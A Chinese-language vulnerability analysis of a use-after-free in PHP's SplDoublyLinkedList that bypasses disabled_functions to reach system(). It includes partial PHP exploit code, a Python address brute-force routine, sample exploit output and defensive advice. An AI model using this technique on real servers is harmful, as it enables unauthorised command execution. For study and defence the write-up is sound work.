通过UAF bypass PHP disabled functions
字数 1307 2025-08-18 11:35:42
PHP SplDoublyLinkedList UAF漏洞分析与利用
漏洞概述
本漏洞存在于PHP内置类SplDoublyLinkedList中,是一个Use-After-Free (UAF)漏洞,可用于绕过PHP的disabled functions限制。该漏洞影响PHP 7.4.10、7.3.22和7.2.34版本,截至文档编写时尚未被官方修复。
漏洞原理
漏洞触发点
漏洞发生在SplDoublyLinkedList类的unset操作中,具体问题在于traverse_pointer指针的处理顺序不当:
if (element != NULL) {
/* connect the neighbors */
...
/* take care of head/tail */
...
/* finally, delete the element */
llist->count--;
if(llist->dtor) {
llist->dtor(element);
}
if (intern->traverse_pointer == element) {
SPL_LLIST_DELREF(element);
intern->traverse_pointer = NULL;
}
...
}
关键问题在于:
- 删除元素的操作被放在了置空
traverse_pointer指针之前 - 在删除对象时,可以在其析构函数中通过
current访问到这个对象 - 也可以通过
next访问到下一个元素 - 如果下一个元素已经被删除,就会导致UAF
链表元素结构
typedef struct _spl_ptr_llist_element {
struct _spl_ptr_llist_element *prev;
struct _spl_ptr_llist_element *next;
int rc;
zval data;
} spl_ptr_llist_element;
- 前后指针 + 引用计数 + zval格式的data,总大小为0x28字节
可控的zend_string结构
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
通过字符串进行UAF,可以控制元素的整个data部分。
利用方法
无openbase_dir限制的情况
-
在链表中放置3个主要元素:
- 触发析构函数的对象
- 用于UAF的元素
- closure对象
-
读取
/proc/self/maps获取PHP申请的Chunk地址(最小为2MB) -
在链表中放入特殊标记的元素,从Chunk中每0x1000字节搜索一次这些元素
-
通过元素的前指针找到链表中的closure对象
-
泄露closure handler的地址,然后向前搜索system函数handler的地址
-
伪造一个closure对象,将其handler设置为system
-
调用该closure对象执行system命令
有openbase_dir限制的情况
由于无法直接读取/proc/self/maps,需要采用爆破方式:
-
申请一个120MB的大Chunk(PHP默认最大内存使用为128MB)
-
从0x7f0000000000开始每0x8000000爆破一次,寻找这个大Chunk
-
找到后每0x20000循环泄露PHP Chunk和链表地址
-
后续步骤与无限制情况相同
利用脚本分析
PHP部分关键代码
class Trigger {
function __destruct() {
global $s;
unset($s[0]);
$a = str_shuffle(str_repeat("T", 0xf));
i2s($a, 0x00, 0x1234567812345678);
i2s($a, 0x08, 0x04, 7);
$s -> current();
$s -> next();
if ($s -> current() !== 0x1234567812345678) {
die("[!]UAF Failed");
}
// ... 后续利用代码
}
}
// 初始化链表
$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
$s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);
Python爆破部分
def bomb1(_url):
# 爆破PHP Chunk地址
addr = 0x7f0000000000
while True:
try:
addr = addr + 0x10000000 / 2
content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), ...)
# ... 检查响应
实际利用效果
无限制情况示例输出
[+]PHP Chunk: 7f026be00000 - 7f026c000000, length: 0x200000
[+]SplDoublyLinkedList Element: 7f026be540f0
[+]Closure Chunk: 7f026be544b0
[+]Closure Object: 7f026be588c0
[+]Closure Handler: 7f026d4f9780
[+]Find system's handler: 7f026cae9100
[+]Executing command:
PHP 7.4.10 (cli) (built: Sep 10 2020 13:50:32) ( NTS )
有限制情况示例输出
[+]Bomb 1400 times, address of first chunk maybe: 0x7f2bc0000000L
[+]Bomb 70 times, address of php chunk maybe: 0x7f2e58c00000L
[+]PHP crash 14 times
[+]SplDoublyLinkedList Element: 7f2e596540f0
[+]Closure Chunk: 7f2e596544b0
[+]Find system's handler: 7f2e5a310100
限制与不足
- 在有openbase_dir限制的情况下,需要进行大量爆破(约1400次)
- 每次爆破都会导致Apache子进程崩溃重启
- 偶尔会因为读取越界导致崩溃(约100次内)
- 利用过程相对复杂,需要精确控制内存布局
防御建议
- 及时更新PHP版本,关注官方修复
- 限制PHP内存使用大小
- 使用Suhosin等强化PHP安全的扩展
- 严格控制openbase_dir设置
- 禁用不必要的PHP内置类
总结
这个UAF漏洞通过精心构造的SplDoublyLinkedList操作,结合PHP内存管理特性,实现了对disabled functions的绕过。虽然利用条件有一定限制,但在特定环境下仍具有较高的危害性。理解该漏洞有助于更好地防御类似安全问题。